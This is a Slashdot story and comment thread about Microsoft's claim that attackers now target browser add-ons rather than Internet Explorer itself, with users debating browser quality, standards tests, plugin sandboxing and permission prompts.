Microsoft Blames Add-Ons For Browser Woes

darthcamaro writes "Running IE and been hacked? Don't blame Microsoft — at least that's what their security types are now arguing. 'One of the things we've seen in the last two years is that attackers aren't even going after the browser itself anymore,' Eric Lawrence, Security Program Manager on Microsoft's Internet Explorer team, said. 'The browser is becoming a harder target and there are many more browsers. So attackers are targeting add-ons.' This kinda makes sense since whether you're running IE, Firefox, Safari or Chrome you could still be at risk if there is a vulnerability in Flash, PDF, QuickTime or another popular add-on. Or does it?"

Comments

Duh

[Drinking Bleach]

Did anyone seriously believe Microsoft wouldn't try to make Internet Explorer look at least "not as bad as they say"?

!news

Re:Duh

[jellomizer]

Yea that has been their marketing ploy for a while. Basicly saying "Hey We really don't suck that much!"

I'll still blame you for everything else.

[retech]

Craptacular interface, ignoring standards, sluggish, bloated, lacking usable features... I'm sure I've miss some.

Re:I'll still blame you for everything else.

[stewbacca]

You forgot the "embedded video frequently doesn't play even though it's a Microsoft codec" bit.

Re:I'll still blame you for everything else.

[gmack]

That would be an add-on problem.

Re:I'll still blame you for everything else.

[xonar]

A microsoft addon, divx anyone?

Re:I'll still blame you for everything else.

[Kamokazi]

To be fair to Microsoft (And a disclaimer, I primarily use Opera myself):

-I don't find the interface any more or less intuitive than FF3 or Opera. I am used to Opera, so I know it better. I've never really had to hunt for an option in any of them...everything is all generally in a logical spot.

-IE7 is definately a standard-ignoring bastard. And assuming you're an FF advocate, remember it didnt pass Acid2 until FF3. And IE8 is shipping in a standard-complaint mode by default, which should help all browsers out.

-Sluggish...compared to FF3 and Opera. But it was faster than FF2 for several different langages...so then FF2 was also sluggish, by your standards.

-Bloated? How? I really don't see any bloat compared to other browsers.

-What features do you expect from it out of the box? Seems to do about the same as the others, plus or minus some minor stuff.

(Yes, I know I am going to get voted down for attempting to defend IE in any capacity...they should really just add -1 Disagree and be done with it)

Re:I'll still blame you for everything else.

[mal3]

Just replying to undo accidental troll moderation

Re:I'll still blame you for everything else.

[SnarfQuest]

sluggish...compared to FF3 and Opera. But it was faster than FF2 for several different langages...so then FF2 was also sluggish, by your standards.

Why are you comparing Final Fantasy 2 and 3 to Internet Explorer?

Next is the comparison of Open Office with Ultima Underground?

Re:I'll still blame you for everything else.

[Anders]

(Yes, I know I am going to get voted down for attempting to defend IE in any capacity...they should really just add -1 Disagree and be done with it)

Much more needed is "-1, Reverse psychology"

(runner-up is "+1, your uid is prime")

Re:I'll still blame you for everything else.

[Bryansix]

It crashes and takes down all of your tabs in that session and it cannot remember sessions to restore the webpages you were on later!

Re:I'll still blame you for everything else.

[Khuffie]

Which is fixed in IE8. In fact, a tab is a separate process that restores itself automatically and doesn't bring down other tabs. And it can remember sessions. Next?

Re:I'll still blame you for everything else.

[Bryansix]

IE8 is Beta and it introduces so many other bugs that I can't use it? Let me know when IE8 is actually usable.

Re:I'll still blame you for everything else.

[Anonymous Coward]

Sluggish and bloated? That's more up Firefox's alley these days.

Re:I'll still blame you for everything else.

[Anonymous Coward]

no, IE remains bloated and sluggish compared to it's contemporaries. ie7 is slow compared to ff2. ie8 comes out and it's faster tha ff2 and things look promising. then ff3 comes out and is faster and quicker than ie8.

ff2 wasn't bloated and slow because at the time there was no better standard for comparison. in fact ff2 really was the standard.

ie is constantly behind the curve by almost a full lap. the little bit less than a full lap means that for a breif period each time around they look to be ahead, until the competition releases thier browser and then you realize that this newer ie release that was on top for a few months was really their equivalent to what everyone else had on the last generation (or maybe somewhere in between). but they are always behind the pack.

as to the interface...well i'm glad you have no troubles with it but my observations tell me you're in the minority. (let me fire up the ol' hp laptop for reference) the stop and refresh buttons being on the right side of the address bar irritates me. on occasion i'll type in example.co instead of example.com (or any typo really, you get the idea) now if the typo takes me to a typo squat domain there's a good chance i've got pop ups to fight while i'm madly moving the mouse pointer (with a touch pad) across the full width of my wide aspect ratio screen to hit the stop button and retry. plust once the bad url resolves it's entered into your browser history, which means i'ts forever in that drop down menu of suggestions you get when typing in a url. if i can stop the page load before it resolves by moving the pointer one inch to the left instead, things go a bit more easily.

this and not being able to close the last tab to close the browser. (opera doesn't do this either but you can at least close that last tab)

minor issues in and of themselves but when the otehr guys have them and you don't, and you haven't got anything they don't have it puts you behind the pack.

and alot of us are still bitter about how far back MS put all of browswer technology after winning the last browser war. imagine if these features were being conceived of and coded when machine resources were still an issue.

MS rarely puts out anything great. i understand they do have some excellent software products intended for production environments (never seen them but i've heard from people i beleive) but their browswer and OS, email client and that stuff aren't in that category. they're all anywhere from pretty good to total crap depending on the point of view and criteria forming the judgement.

you seem to find ie8 to be pretty good, not excellent i assume since you use opera mainly. which is cool. i find it to be pretty much crap because of the issues (minor to most i'm sure) i mentioned.

oh yeah, i really hate how the 'file edit view...' menu bar isn't there.

Re:I'll still blame you for everything else.

[Drinking Bleach]

That's why the Mozilla Foundation recommends the usage of the acronym "Fx" instead, which is much less ambiguous (I don't think anything else uses Fx spelled like that). When I read it, the first thing that popped in my head was actually "Firefly" rather than Firefox.

Re:I'll still blame you for everything else.

[hairyfeet]

Maybe because nobody ever uses Firefox without extensions? Because we actually LIKE our extras? And to be fair I am only using 70Mb of RAM in FF3 while having....hang on a minute..wow. 8 extensions running. So considering all the add ons I have going in the thing I'd say FF3 really isn't bloated. Plus it doesn't seem to leak memory now like it did with FF2. Oh and finally let us not forget that IE let loose one of the nastiest pieces of malware to ever hit the net. Of course I am talking about the insanity that is ActiveX. I swear whoever thought that crap up should be publicly flogged.

Re:I'll still blame you for everything else.

[nine-times]

IE7 is definately a standard-ignoring bastard. And assuming you're an FF advocate, remember it didnt pass Acid2 until FF3. And IE8 is shipping in a standard-complaint mode by default, which should help all browsers out.

Complaining that Firefox didn't pass Acid2 until v3 doesn't make a lot of sense if you understand why the test was made. No browsers adhere to all standards 100%, but all the browsers except IE do a fairly decent job of rendering pages the way they're supposed to. So when Acid2 was created, the idea (AFAIK) was to put together a complex rendering that would expose a selection of bugs that would cause every major browser to fail it. It was supposed to be a sort of test that said, "even if your browser is doing a pretty good job, here are some places where it might fall apart."

So it's not supposed to be the end-all be-all test of standards compliance. You can pass the Acid2 test but still not render normal pages properly, or you could generally do a good job rendering pages but fail the test. The fact that it took Firefox some time to pass isn't an indication that it took them a long time to figure it out, but rather that they fixed in in their new rendering engine and took a while to put that rendering engine into their release version of the browser. There wasn't much reason to rush because it wasn't terribly urgent.

But the question is still whether the browser will generally render pages according to the HTML and CSS standards. Most browsers do far better than IE. As for "standard-compliant mode", I still wonder how standard-compliant it will be. Right now, if I make a page, I generally have to design it to the standards, which will make it run in most browsers, and then figure out how to make it display properly in IE. If IE8 makes it so I don't have to do that anymore, a lot of my complaints will go away.

Re:I'll still blame you for everything else.

[mrops]

(runner-up is "+1, your uid is prime")

And you are old.

Re:I'll still blame you for everything else.

[BenoitRen]

definately

Definitely. Definitely!

IE7 is definately a standard-ignoring bastard. And assuming you're an FF advocate, remember it didnt pass Acid2 until FF3.

The Acid tests are not an indicator of standards compliance. They're tests of flaws in web browsers that web developers want fixed. KHTML may have passed Acid2 first, but it had a lot of rendering flaws. When Gecko didn't pass Acid2, it had less flaws and was more standards compliant overall.

Bloated? How? I really don't see any bloat compared to other browsers.

Have you checked the size of the installer files? Way larger than that of any other web browser.

Re:I'll still blame you for everything else.

[HannethCom]

I might point out that Opera until the 9.x series did not pass the Acid2 test either.

Opera did release a version of the Acid2 test that worked around all the standards compliance problems before the 9.x series had and claimed it "Passed" Acid2.

I think it was Opera 9.03 that finally passed the standard Acid2 test.

Re:I'll still blame you for everything else.

[Hurricane78]

I expect the ability to add add-ons like in Firefox. Add-ons that are simple to develop in a scripting language. This community effect is what makes Firefox the default browser. If it were for the speed or default features, I'd still be using Opera, like the years before Firefox 1.0, and not touch Firefox at all.

Oh, and as a ex professional web developer, I have to say that I wish every single person who is or was ever responsible for the code in Trident (IE's "engine") so much pain that they want to die, plus immortality! This is the most horrible API ever made by humans. You could run Oracle on SymbianOS, run by PHP's horrible interpreter with a Gnome GUI, and Vista's DRM, and you would not even come close! ;)

IE is responsible for 80% of the loudly yelled "WTF?"s in my life. :\

Re:I'll still blame you for everything else.

[KozmoKramer]

All posts defending the Redmond Beast always begin with the disclaimer, " Too be fair....".

Re:I'll still blame you for everything else.

[Anonymous Coward]

(runner-up is "+1, your uid is prime")

Who?

Re:I'll still blame you for everything else.

[Anonymous Coward]

(Yes, I know I am going to get voted down for attempting to defend IE in any capacity...they should really just add -1 Disagree and be done with it)

Yes you really should be voted down for insulting everyone here with your shitty attitude, that should be: -1 Shitty Attitude.

Re:I'll still blame you for everything else.

[Sanat]

I don't think that the troll was accidental... he seemed to mean every bit of it.

Re:I'll still blame you for everything else.

[Sanat]

That would be an interesting poll.. How many add-ons are you running on your browser? I am running 30 right now on FF3 however one of them is disabled temporarily as a test condition for an anomaly that is sometimes experienced.

Re:I'll still blame you for everything else.

[pseudonomous]

IE is bloated in terms of dependancies, Firefox may depend on Xulrunner, Opera may depend on Qt, Konqueror may depend on KDE, and Epiphany may depend on Gnome, but IE and Safari are the only browsers that depend on an entire operating system. (uh... I guess Chrome does too, but Google said they were gonna fix that)

Re:I'll still blame you for everything else.

[hairyfeet]

That is a GREAT idea! Everyone talks about RAM and performance when it comes to browsers, but in reality only FF gets add ons installed as SOP. Everyone I know has their own favorite combo, Like I have to have Adblock and Noscript and install those before anything else, my customers love FF with Adblock and ForecastFox(which I also use) and the list just gets bigger and bigger when you start asking around.

That to me is the greatest thing about the Firefox design. It is just so easy to customize, and many companies have taken the customization to the next step and cooked up their own forks. So with my customers I have Flock for the young ones into the social sites, I have Seamonkey for the older folks who like to download their email, Kmeleon for those that have older hardware or simply care about speed above everything else, and lately I have been handing out Songbird as the default media player and my customers really seem to like it. And all of that is built from the Firefox code base. So with this one browser my family can each have a completely different browser that suits them, all without having to worry about the latest IE bug.

So at least for me, comparing other browsers to FF is really an apples to oranges comparison. Because with other browsers they are nearly always "stock" and with FF they nearly always have at least a few extensions installed. Maybe this subject would be worthy of a quick poll on Slashdot? Just so we could see roughly how many copies of FF(or its forks) are installed and what the average extension count is?

Re:I'll still blame you for everything else.

[SanityInAnarchy]

I have Seamonkey for the older folks who like to download their email

Out of curiosity, what's the advantage of Seamonkey for that purpose, versus a combination of Firefox and Thunderbird?

I actually have a grand total of four extensions right now -- Firebug, Firecookie, Greasemonkey, and the Ubuntu Firefox Pack. Of those, Greasemonkey is off almost all the time. I actually avoid installing more, both to avoid making the browser slow/buggy/etc, and to reduce my dependence on Firefox, at least as a user.

I can customize Firefox, but not quite as much as I'd like, and there are some things Konqueror just seems to do better, especially on Kubuntu.

Re:I'll still blame you for everything else.

[TrebleMaker]

definately

Definitely. Definitely!

People are going to write they way the write
irregardless of your protests.
You should of just, like, totally ignored him.

Re:I'll still blame you for everything else.

[mangu]

You could run Oracle on SymbianOS

Your Ideas are Intriguing To Me and I Wish to Subscribe to Your Newsletter

Re:I'll still blame you for everything else.

[Jabroney]

And assuming you're an FF advocate, remember it didnt pass Acid2 until FF3.

Acid2 is useless for determining if your browser is standard compliant. Acid2 was designed to determine if your browser would display "non-standard compliant" content logically, or in an understandable format.

Re:I'll still blame you for everything else.

[jhol13]

runner-up is "+1, your uid is prime"

Don't we all?

Re:I'll still blame you for everything else.

[hairyfeet]

Older folks tend not to want to change unless you can offer them an advantage they can see. With Seamonkey I show them how they can simply click a button in their browser and have their email within the same browser. Being in FF and having to go start/programs/Mozilla/Thunderbird takes just as long for them as opening Outlook Express, so why wouldn't they just open Outlook?

As for the extension limiting, that is your choice. Ain't having choices grand? But what I don't understand is if you are limiting extensions to reduce your dependence of Firefox and seem to like Konqueror so well, why are you still using FF? What does Konq do that FF don't? I am curious, because I have Konq on both my Xandros Business laptop and on this Win2K box I am typing(thanks to KDE on Windows) and Konq has never struck me as much of a browser. No offense, but it always felt like IE to me. That is a file manager that can browse, not a tool but specifically for browsing. What are some of the advantages? You talk about customizing Konq,in what way? Since Konq is no longer a Linux only browser I am truly curious, as one of the big selling points for FF for me was working in the same browser in both Linux and Windows and the ease of transferring my prefs with FEBE. Do you have a way to do that easily with Konq?

Re:I'll still blame you for everything else.

[ball-lightning]

Wow... where to start? First of all, I too mainly use Opera, however I generally keep a copy of every browser I can find on my machine (they're like toys to me!) because hey, you never know. I was very impressed with IE8. I wouldn't use it as my main browser (as you said, it is sloooow), but I think the UI is actually pretty well-designed. Just because it isn't like the others doesn't make it bad. Chrome ALSO doesn't have the File-Edit-View bar (and IE8 came out first!). As an aside, I hate how the browser will close when you close the last tab. If I wanted to close the program, there is a button for that. At the very least, I think it should be an option.

Re:I'll still blame you for everything else.

[SanityInAnarchy]

Being in FF and having to go start/programs/Mozilla/Thunderbird takes just as long for them as opening Outlook Express, so why wouldn't they just open Outlook?

Because you've placed it in the same place they're used to looking for Outlook -- probably a QuickLaunch bar, or the Desktop -- and named it "Email".

But what I don't understand is if you are limiting extensions to reduce your dependence of Firefox and seem to like Konqueror so well, why are you still using FF?

Firebug, for work.

Also, the fact that Firefox seems to be the most compatible browser out there now. Some of these are genuine Konqueror bugs, but I suspect it's also because of things like Firebug -- since Firefox is now the most developer-friendly browser, and since it's F/OSS and free as in beer, there's a temptation to just make it work in Firefox and tell other people to just download that.

What does Konq do that FF don't?... You talk about customizing Konq,in what way?

One thing that frequently bothers me about Firefox -- can't get rid of the menu bar. In Konqueror (and in many other KDE apps), ctrl+m toggles it. It's also possible (at least in kde3, haven't tried since kde4) to create an OSX-like menu bar at the top of the screen, which all KDE apps will use -- but Firefox won't.

I know it uses the menu bar on OS X -- but on Linux/KDE, it doesn't.

There's also the stability -- Firefox is one process for your entire browser. If there's Flash, Javascript, or even a bug entirely in Firefox, even if it's buried deep in a tab in another window on another virtual desktop, it's going to affect you -- it's going to lag all Firefox windows, and when it crashes, it's going to crash all of them also.

Saving your session on crash is all well and good, but it's pretty embarrassing that they have to do that, and it doesn't always save you -- restoring a session on which one of the tabs crashes Firefox won't get you anywhere.

Konqueror is still one process per window (no matter how many tabs in that window), but at least a new window (which opens instantly) is a separate process. When one crashes, the other isn't gone. Especially useful if there's one page I know will be particularly buggy, or one that I need open no matter what.

There's also the fact -- both good and bad -- that Konqueror does very well with embedded kparts. Try opening a PDF in Firefox on Windows, and watch Adobe Reader crawl. Try the same thing in Konqueror, and it uses Okular. I haven't tried very hard, but I haven't found a way to get all of the same viewers in Firefox...

This also means it doesn't use anything Konqueror-specific for other things -- for example, opening an image is going to be Gwenview, with all the Gwenview settings and features, whether I did it from my desktop or from the Web.

The KIO integration is cool, too -- for example, I can type URLs like fish://user@host/some/path, browse around, open things in other KDE apps like Kate (editor) or Dragon Player, probably Amarok also. And all fish requires is that an ssh server is running on that host.

So, a lot of it is just better KDE integration -- Firefox has pretty much no KDE integration, so that's no contest.

Another fun part -- I suppose I could change this to point to Firefox, but right now, I can type alt+f2 for a "run" dialog. This is roughly like Firefox's "awesome bar", but for your OS -- I can type a command in there, just as though it were on the commandline. Or I can type the name of something from the menu, and see it autocomplete. Or I can type anything Konqueror understands -- URLs, or a search (gg:some keywords will Google for 'some keywords').

Aside from that, add in a few toys Firefox probably has as addons -- tap ctrl and there's a sort of rudimentary keyboard-based hyperlink navigation; shift+arrowkeys starts an autoscroll, or adjusts it faster/slower -- and most of the stuff I used to depend on in Firefox is just built in

Re:I'll still blame you for everything else.

[SL Baur]

It *was* a troll or astroturf.

Here's another troll:
"Let's see, does Internet Explorer run on any of the systems I have at home or work? No. So, who cares?"

It just happens to be true.

Oh wait, Internet Explorer is an integral part of the O/S so it cannot be ported to another system.

Down with non-portable software!

Re:I'll still blame you for everything else.

[clone53421]

One thing that frequently bothers me about Firefox -- can't get rid of the menu bar. In Konqueror (and in many other KDE apps), ctrl+m toggles it. It's also possible (at least in kde3, haven't tried since kde4) to create an OSX-like menu bar at the top of the screen, which all KDE apps will use -- but Firefox won't.

Hide Menubar... although I just hit F11 when I need the extra space.

Personally, I wish there was a way to disable the sliding animations (downloads complete/menus and tabs hiding when it's in fullscreen)...

Re:I'll still blame you for everything else.

[SanityInAnarchy]

Nice! Thanks.

The one I wish I could do right now is, temporarily disable the "blocked popup" bar. I can permanently disable it, but I don't want to do that -- most of the time, I'd rather avoid a site that uses popups...

Re:I'll still blame you for everything else.

[clone53421]

Hm... another item on my personal wish list is a non-modal replacement for the javascript alert/prompt/confirm functions.

Re:I'll still blame you for everything else.

[hairyfeet]

Have you tried Download Statusbar? I have mine set to clear the bar after 5 seconds, but you can probably set it to 0 if you just want them to go poof.

And as for the above poster who wonders why I don't just give the old folks a shortcut? Because with Seamonkey it really makes it easy to copy/paste that recipe they are sure that Mabel will like,LOL! But that is what I love about Firefox,all the diversity. I give Seamonkey to the older folks, Kmeleon to those with older PCs or who only care about speed,and Flock to those that are into the social sites. With the FF codebase I can give everyone something for them and still not have to worry about the latest IE bug. Oh and those who haven't given it a shot should try Songbird. I have been using it myself as well as handing it out to my customers and it is really gotten quite nice.

Re:I'll still blame you for everything else.

[clone53421]

No, but I'll give it a try. I've come across that addon but I never installed it... I don't really mind the download window and it never occurred to me that the extension might also get rid of the sliding message when the downloads complete...

Re:I'll still blame you for everything else.

[SanityInAnarchy]

That would be tricky to do, without changing the Javascript API -- it would at least have to be modal per-tab, at least for prompt/confirm.

Of course, nothing stopping Javascript programmers from doing some of this themselves -- I like the jQuery Growl plugin, which simulates the Growl system on OS X. Much better than an alert.

Re:I'll still blame you for everything else.

[SanityInAnarchy]

Because with Seamonkey it really makes it easy to copy/paste that recipe they are sure that Mabel will like,LOL!

I'm still not seeing how it's any easier to copy/paste between applications, than to copy/paste within the same application.

What am I missing?

Re:I'll still blame you for everything else.

[clone53421]

It'd really only have to block scripts in that tab until it was dismissed. I'm thinking something more like the information bar...

Re:I'll still blame you for everything else.

[hairyfeet]

It is really nice. Instead of having a download window you simply have a small progress bar at the bottom left of the browser taskbar. You can also customize what info it shows, such as % complete, download speed, size completed,etc. It really is a nice little add on that really lets you set up downloads YOUR way. Which of course is one of the reasons FF is so great. You can have FF YOUR way and I can have the same browser but thanks to the extensions mine looks and behaves completely differently.

As for the other poster who doesn't get the Seamonkey thing yet on copy/paste here it goes. Instead of having to go copy/ go to start/programs/Mozilla/Thunderbird and wait for it to load, or even going copy,click on Thunderbird shortcut and wait for it to load, they can go copy/push button on browser/paste. Since Seamonkey is already in memory it doesn't take as long to load as Thunderbird. You also have to remember that the older generation most likely started out on Netscape Navigator, and of course Seamonkey is very similar to the old Netscape UI and layout. I have several customers that use Seamonkey simply for that reason alone.

Re:I'll still blame you for everything else.

[SanityInAnarchy]

It'd really only have to block scripts in that tab until it was dismissed.

No, it would have to block the whole tab, barring plugins, else it's a fundamental change in the way scripts work.

For example: Suppose I have a document that looks like this (pseudocode):

<div id="tab1">
  <!-- content -->
</div><div id="tab2">
  <!-- more content -->
</div>...

And I have a script that looks like this:

confirm('Do you want to do the thing?');
setupTabs();

While it's waiting for you to click yes/no, the tabs are currently not working -- in fact, both are displayed, and the page layout is only designed to handle one. In this case, it's cosmetic and a bit contrived, but it's easy to imagine cases where javascript is relying on the fact that the tab is single-threaded. For example, suppose it had been some form elements, or script-only links? Large chunks of functionality would be unpredictably broken.

You could argue that any page should be able to work without Javascript. I don't think that is always true, but even supposing it is, I don't think you can argue that any page should be expected to work when Javascript is working as expected sometimes, and is sometimes suspended.

I hope I've made the case that at least confirm and prompt must be blocking in their current versions, to avoid breaking existing pages -- alert is probably harmless, though I can still think of edge cases where people at least expect the alert to block, even if they don't technically depend on that behavior.

Given that, you could argue that there should be nonblocking variants of these. And I'd agree -- and I'd love to see them implemented in browsers. It could be done well -- like the parts of jQuery (some selectors) which make native calls when available, and implement it in javascript when those aren't available (mostly in IE).

But if you're going that route, well, it's possible to build your own nonblocking variant in pure DHTML/AJAX, bundle it as a library (jQuery Growl), and never bother to standardize. That seems the most likely path.

Re:I'll still blame you for everything else.

[clone53421]

I don't want a non-blocking version of alert, I want to replace alert() itself with a non-blocking version.

I can see how situations like you describe could arise, however, good programming practice would be to initially give one (or both) of the div elements a display:none attribute. And since it'd be my decision to install an addon that could possibly break things, I couldn't really complain: it'd be nice to have an on/off toggle or a list of per-page exceptions so I could identify pages that were somehow broken by this modification. Then I'd still be able to use those pages.

Keep in mind that plugins, etc. don't block anyway when an alert pops up. The only thing that blocks is scripting, although you're unable to click anything because the popup is modal. Flash, Java, animated gifs, etc. still run while the alert window is open.

If the alert wasn't modal, the only difference would be that I would be able to still interact with the page, albeit with javascript temporarily suspended... I could click proper HTML hyperlinks (not ones that rely on the javascript events, obviously), scroll the page, or hit a browser navigation button or enter a URL in the address bar.

Permissions

[gurps_npc]

And if the Add on's were given far more permission than they actually need? If the browser works right, then the damage a poorly written add on can do should be minimal.

Re:Permissions

[TheRaven64]

Ideally, most of these plugins should be setuid as nobody, run in a separate process and have their windows reparented into the browser window. I don't know of any *NIX systems that actually do this for plugins. I believe Chrome does something similar on Windows, but IE does not (although it runs the entire browser as a less-privileged process on Vista).

Re:Permissions

[geirnord]

I second that! Somewhere along the line add-ons got way to much permissions. Why on earth does Adobe Flash have access to my webcam and harddrive?!?

Re:Permissions

[soniCron88]

Somewhere along the line add-ons got way to much permissions. Why on earth does Adobe Flash have access to my webcam and harddrive?!?

Was there a time when plug-ins couldn't have access to the harddrive?

Re:Permissions

[Anonymous Coward]

Konqueror runs flash elements and java applets in a separate process with low privileges and high niceness. When flash crashes, it does so by itself.

Re:Permissions

[ya really]

IE7 is set to run in sandbox mode by default. If a user decides to take it out of that by force or installing addons, then I would gather they would be to blame directly or indirectly for the end result. Im not MS fanboy, but can they really be blamed for shoddy coding done by third parties?

Re:Permissions

[ShawnCplus]

That's gotta be new. Every time I've gotten within 100 yards of a site with flash Konquerer crashed.

Re:Permissions

[gurps_npc]

Because they made it easy to write shoddy code. If you make people go through hoops to get the good stuff, then they get lazy and accept the minimum. To use a real world analogy, no, you don't need to have the same key start the car as open your front door, your mail box, and your office. If you insist on selling a car, house lock, mailbox and the office, then don't also make them use the same key for 'convience'.

Re:Permissions

[catchblue22]

Microsoft creates the environment in which these add-ons run. If that environment is too permissive, allowing add-ons to reach deep into your system, then this is still microsoft's fault. They should only allow the add-ons to play in a very small sandbox with high walls.

Re:Permissions

[PopeRatzo]

Konqueror runs flash elements and java applets

Except when it doesn't.

Re:Permissions

[catchblue22]

IE7 is set to run in sandbox mode by default. If a user decides to take it out of that by force or installing addons, then I would gather they would be to blame directly or indirectly for the end result. Im not MS fanboy, but can they really be blamed for shoddy coding done by third parties?

Should it even be possible for add-ons to do this? Should we really expect the average user to understand that allowing the add-ons to turn off sandbox mode isn't a good idea? At the very least, if an add-on wishes to turn off sandbox mode, a stern but CLEAR warning should be given to the user, and they should have to supply an administrator password. Of course, since vista bugs users for permission so much, most users would just click through the warning thoughtlessly.

I bought my mother a Mac. When she used to use a PC, she would always get caught by trojans. Now I just tell her to never enter her admin password unless performing updates. Problem solved. Because OS X rarely asks for an admin password, when it does, users know that the program wants to do something serious.

Re:Permissions

[aztektum]

If Microsoft puts out an OS which allows people to write third party software for it, don't they have some obligation to make sure their OS can't be compromised by third parties?

Re:Permissions

[orclevegam]

Of course, the most massively abused addon ever is ActiveX. Also, when the "addon" ships with the browser, you shouldn't really be able to call it an addon anymore.

Firefox has the right idea with extensions, they're relatively small, lightweight, incredibly flexible, but also easy to corral and sandbox. Since most things you want to do can be handled by extensions, there's really very little reason to use plugins in Firefox outside of things like flash, pdf, or embedding mplayer/vlc/media player of choice. Over on the IE side of things however, anything you want to change must be done via a plugin, which means running a binary blob and having to trust it not to do something nasty.

Re:Permissions

[aztracker1]

Yah, because nobody writes shoddy code in Linux0rz. Using your car analogy, I can use my car's garage door opener though, for convenience.

Re:Permissions

[Vancorps]

What everyday task does Vista bug you about authorizing?

I've heard this a number of times how it nags people and that the initial release was rough but since SP1 I only see allow or deny when its something I'm doing intentionally that administrative related like installing an update to a program.

I'm genuinely interested in this since I manage a lot of Windows machines and sooner or later I'll have to deal with common complaints or face turning UAC off.

Re:Permissions

[Vancorps]

They would be one of very few operating systems if that were the case. ATI drivers here on Ubuntu cause lock-ups all the time, sometimes I can't even ctrl+alt+backspace to restart X.

In short, people are idiots and it is up to developer and administrators to do their jobs properly. All the issues out there are as results of lazy programmers or administrators or both.

Re:Permissions

[ya really]

If Microsoft puts out an OS which allows people to write third party software for it, don't they have some obligation to make sure their OS can't be compromised by third parties?

Couldnt one say the same about *nix as well and all it takes to compromise it is allow an inexperienced user to run as root long enough and run the wrong binary/install a bad package from a third party. Running as root is ignoring the sandbox set up to keep such things from happening. Not running IE in a sandbox is a similar case I think though I think being closed source hampers IE somewhat (though not every closed source browser is full of holes [such as Opera]). Caveat Emptor I think plays a part in anything one puts on a computer after OEM.

Re:Permissions

[MadnessASAP]

Yes, but then Web 2.0 hit the fan and it all went to hell.

Re:Permissions

[MadnessASAP]

Well very few if any apps say they require root access unless they of course genuinely NEED root access, not even to install them. Whereas trying to use windows outside of very carefully controlled office and school enviroments without Administrator access is impossible.

Re:Permissions

[legirons]

IE7 is set to run in sandbox mode by default. If a user decides to take it out of that by force or installing addons, then I would gather they would be to blame directly or indirectly for the end result.

Browser A: "would you like to give this plugin root access to your computer?" (note: if you click 'no' then you will be unable to watch the video you requested)

Browser B: (plays the video, having done sufficient programming to ensure that it's safe, allows the video player to run with minimum permissions)

Re:Permissions

[MadnessASAP]

I took it one step further, when I installed Ubuntu on her computer I told her that if she ever gets asked for the root password she should call me first. I don't think I've ever been called.

Re:Permissions

[Lucky75]

Renaming a file (extension) under program files, for example, prompts you 3x if your sure. I think we could do without the multitude of prompts.

Are you sure?
Are you really sure?
Positive?
Ok

Re:Permissions

[Bryansix]

That's right but it detracts from the main point. That is that IE still has direct security holes in it and Browser hijacks or browser add-ons which were installed in a drive-by fashion and cannot be disabled are still common.

Re:Permissions

[apoc.famine]

It does?

Hell, that's enough that I might go back and take a second look at it....

Re:Permissions

[Gnavpot]

I took it one step further, when I installed Ubuntu on her computer I told her that if she ever gets asked for the root password she should call me first. I don't think I've ever been called.

Perhaps because administrative tasks on Ubuntu does not require the root password!

Ubuntu asks for the user's password when requiring root permissions.

Re:Permissions

[CodeBuster]

can they really be blamed for shoddy coding done by third parties?

Yes they can and here is why:

If a program is going to allow addons then the communications between the addons and the main application should be conducted entirely through interfaces in order to preserve abstraction and enforce Design by Contract principles. In this way addons are allowed to plug into the application at precise locations controlled by the main application and to interact with the main application abstractly and in precisely defined and limited ways. Some people might argue that this is too limiting, but it has been my experience in developing software in this style that well designed interface contracts can support a wealth of valuable features while maintaining plug-ability and abstraction throughout the software stack. So I don't buy "It's the addons fault" since the addons, ultimately, can only do things which the main application framework has allowed them to do whether intentionally, through good abstraction, or unintentionally from poor addon framework design.

Re:Permissions

[Gokee2]

Thats because Ubuntu never asks for the root password, it uses sudo instead.

Re:Permissions

[Anonymous Coward]

Why are you mucking around in Program Files?

Re:Permissions

[Vancorps]

Fair enough although not an everyday task as changing extensions is something that is unlikely to occur for the common user.

I've noticed when modifying permissions that it makes me go through three or four hoops as well but again it's not an everyday task or even one a common user would perform.

Re:Permissions

[VGPowerlord]

Note: I am not the grandparent's poster.

I consider renaming files in my Program Files directory to be a non-standard activity, and thus subject to security policy.

You can't seriously be suggesting that Grandma, unless she knows a lot about computers, is renaming files in a directory that programs don't have write access. If she is, I expect UAC warnings to pop up, as she shouldn't be touching anything there. Under Vista, when UAC is on, any attempts by programs to write to a new file in C:\Program Files\ gets shunted to %USERPROFILE%\VirtualStore\Program Files\ .

Re:Permissions

[Gandalf_Greyhame]

If Microsoft puts out an OS which allows people to write third party software for it, don't they have some obligation to make sure their OS can't be compromised by third parties?

I really do hope that you are trolling there mate, because that is the biggest load of drivel I have ever heard.

Firstly I'd like to say that I am definitely not a Microsoft apologizer. I don't particularly like their OS. I run OSX myself because I wanted to get away from Windows (yeah, now the "use Linux" replies will come in. I HAVE used Linux previously. I used it exclusively between 2000 and 2004, and I found myself playing around with config files too much)

The only real way that Microsoft (Apple, Linux, ANYONE) can ensure that third party software cannot compromise the system is to not allow any third party software to be installed (can you imagine the shit-storm if that were ever implemented?)

Until people stop clicking the little box that says "install this trojan" there is very little that anyone can actually do. You can't blame Microsoft, or anyone else for that matter, for the blatant stupidity of the end user who thinks that "ooooh, this looks pretty, quick add it"

To use a different analogy, I am driving down the road and I see a cliff. Now I could choose to brake or turn, but instead I decide to drive over the cliff. Is it the fault of the car manufacturer for making that possible? Or is it the driver? In this analogy, the guard rails can symbolize the firewall/anti-virus software.

Perhaps we need to create a license to use a computer just like a drivers license. Until you can make sound, reasoned decisions on what to install, you are not permitted to operate a computer.

--

My Karma is excellent, but I am willing to take a hit.

Re:Permissions

[Beryllium Sphere(tm)]

>IE7 is set to run in sandbox mode by default.

I believe this is only on Vista.

Re:Permissions

[Annymouse Cowherd]

This is what UAC did :P

Re:Permissions

[vigour]

Hell, even Lynx has security issues.

This allows users of Lynx in a captive situation (where the Lynx user does not normally have access to a shell prompt, or to a menu system that allows the user to run arbitrary commands) to get access to a shell prompt. This includes public Lynxes as well as situations in which users are restricted to a menu interface of some sort with Lynx.

This vulnerability can be exploited by anyone who can provide Lynx a carefully crafted URL. This can be done from the G'oto prompt, or by activating the URL on a world wide web page. The user can launch a shell on the machine running Lynx. This could also conceivably allow malicious webmasters to add these carefully crafted URLs to their pages to cause unsuspecting Lynx users (in captive accounts or otherwise) to execute arbitrary commands.

Of course, anyone who chooses to use Lynx these days knows what they are doing and wouldn't let the above occur (plus there is a workaround in the above link).

As many, many people have said here already, even if you have a mature, solid codebase, malicious code combined with careless users can foobar your system.

Re:Permissions

[Zerimar]

